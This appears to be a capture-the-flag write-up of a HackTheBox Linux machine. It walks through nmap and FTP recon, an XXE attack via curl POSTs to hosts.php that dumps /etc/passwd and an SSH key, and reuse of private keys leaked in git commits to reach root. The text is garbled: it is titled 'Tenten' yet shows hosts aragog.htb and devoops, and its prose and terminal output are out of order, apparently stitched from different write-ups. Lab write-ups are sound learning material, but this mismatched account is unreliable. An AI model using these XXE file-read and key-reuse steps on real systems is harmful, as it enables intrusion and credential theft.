Tenten is an medium-rated Linux machine from HackTheBox created by egre55. In the current post, my IP is 10.10.14.76, and the target’s IP is 10.129.102.78
Recon
Local Terminal
> ping -c 1 10.129.102.78PING10.129.102.78 (10.129.102.78) 56(84) bytes of data.64bytesfrom10.129.102.78:icmp_seq=1ttl=63time=260ms---10.129.102.78pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=260.032/260.032/260.032/0.000ms
The machine is alive, and by the TTL (close but no more than 64), it is possible to think that the target is a Linux Machine.
Nmap scan report for 10.129.102.78Host is up, received user-set (0.26s latency).Scanned at 2023-09-1411:22:03-03 for 21sNot shown:65487 closed ports,45 filtered portsReason:65487 resets and 45 no-responsesSome closed ports may be reported asfiltereddueto--defeat-rst-ratelimitPORTSTATESERVICEREASON21/tcp open ftp syn-ack ttl 6222/tcp open ssh syn-ack ttl 6280/tcp open http syn-ack ttl 62
There are two open ports. First the port 22 with ssh, if you search about "OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 launchpad", we can see that the target is an "Ubuntu Xenial". And about the port 80, the web page, if you search "Apache httpd 2.4.18 launchpad", it confirms that is an Ubuntu Xenial.
Both are the same, so there is a significant reduced chance to find a Docker Container here.
The port 80 have a redirect, add the IP to the /etc/hosts and launch another nmap scan.
Port 21 - FTP
Looks like an XML file with custom labels.
Port 80
Nothing from whatweb, but now we know that has an Ubuntu Default Page
Place to upload files, with XML elements, interesting.
This place says XXE everywhere
First, upload an empty file to see how it reacts, with vi test.xml, the create the proper XML, with vi exploit.xml
Fails with test.xml
Works with exploit.xml
From here we got a lot of information. First, the output is visible, this means that is possible to execute an XXE, and second, there is an user called "roosa" at the system.
Exploitation
Let's see if the exploits works, creating a file with vi exploit_proof.xml, then upload it.
Target's /etc/passwd
Perfect, it works, remember that with Ctrl+U (view:source) you can see in a better format the targeted file.
Now, time to exploit, upload exploit_exec.xml.
Unencrypted id_rsa
In many machines, this exploits fails, an alternative to these situation, because the target use php, is the use of wrappers, like "php://filter/convert.base64-encode/resource=/var/www/html/index.php" after SYSTEM.
Reverse Shell - roosa
Perfect, we can read the id_rsa.
See the content of the "Cross-Site Scripting" exploit, it's the version 4.1.0, it should be that.
Privileges Escalation
A lot of files, but there are two curious folder, deploy and work. Let's check work.
Good, there is git, in those cases is always a good practice to see the commits for old relevant information... ALWAYS! But first, let's see if there is another hidden file here.
A file with credentials?
Another id_rsa, go to home to check for more users.
Another way to see the user list with bash, is by reading the /etc/passwd file and check who has the "bash" available.
Many user to test the id_rsa, if is not the correct one, we should check the past-commits for mistakes.
Copy the authcredentials.keys as id_rsa to the tmp folder, then connect through ssh.
Return to the blogfeed folder with cd /home/roosa/work/blogfeed
"reverted accidental commit with proper key" looks like an interesting mistake, copy the commit code.
It shows a deleted id_rsa, copy the red one at /tmp and try to use it.
nmap -sCV -p 21,22,80 10.129.102.78 -oN Target
Starting Nmap 7.80 ( https://nmap.org ) at 2023-09-14 11:22 -03
Nmap scan report for 10.129.102.78
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r-- 1 ftp ftp 86 Dec 21 2017 test.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.76
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ad:21:fb:50:16:d4:93:dc:b7:29:1f:4c:c2:61:16:48 (RSA)
| 256 2c:94:00:3c:57:2f:c2:49:77:24:aa:22:6a:43:7d:b1 (ECDSA)
|_ 256 9a:ff:8b:e4:0e:98:70:52:29:68:0e:cc:a0:7d:5c:1f (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://aragog.htb/
Service Info: Host: aragog.htb; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Local Terminal
> ftp 10.129.102.78
Connected to 10.129.102.78.
220 (vsFTPd 3.0.3)
Name (10.129.102.78:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||46497|)
150 Here comes the directory listing.
-r--r--r-- 1 ftp ftp 86 Dec 21 2017 test.txt
226 Directory send OK.
ftp> get test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||46086|)
150 Opening BINARY mode data connection for test.txt (86 bytes).
100% |*********************************************************************************************************| 86 237.91 KiB/s 00:00 ETA
226 Transfer complete.
86 bytes received in 00:00 (0.33 KiB/s)
ftp> exit
221 Goodbye.
> cat test.txt
<details>
<subnet_mask>255.255.255.192</subnet_mask>
<test></test>
</details>
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://aragog.htb/FUZZ.FUZ2Z
Total requests: 441092
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 200 375 L 968 W 11321 Ch "index - html"
000012013: 200 3 L 6 W 46 Ch "hosts - php"
Local Terminal
> curl -s -X POST -d @test.txt http://aragog.htb/hosts.php
There are 62 possible hosts for 255.255.255.192
florian@aragog:~$ id
uid=1000(florian) gid=1000(florian) groups=1000(florian)
florian@aragog:~$ cd /
florian@aragog:/$ find \-perm -4000 2>/dev/null
./bin/su
./bin/mount
<...>
florian@aragog:/$ getcap -r / 2>/dev/null
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
florian@aragog:/$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
procmon.sh
#!/bin/bash
function ctrl_c(){
echo -e "\n[!] Exit [!]\n"
exit 1
}
# Ctrl+C
trap ctrl_c INT
old_process=$(ps -eo command)
while true; do
new_process=$(ps -eo command)
diff <(echo "$old_process")<(echo "$new_process") | grep "[\>\<]" | grep -vE "procmon|command|kworker"
old_processs=$new_process
done
Local Terminal
> curl -s -X POST -d @exploit.txt http://aragog.htb/hosts.php
There are 4294967294 possible hosts for root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
<...>
Local Terminal
> curl -s -X POST -d @test.txt http://aragog.htb/hosts.php
There are 62 possible hosts for 255.255.255.192
Local Terminal
> curl -s -X POST -d @test.txt http://aragog.htb/hosts.php
There are 62 possible hosts for 255.255.255.192
roosa@devoops:/home$ cd /tmp
roosa@devoops:/tmp$ cp /home/roosa/work/blogfeed/resources/integration/authcredentials.key /tmp/id_rsa
roosa@devoops:/tmp$ chmod 600 id_rsa
roosa@devoops:/tmp$ ssh -i id_rsa root@localhost
# It requires password with every user, forget about it.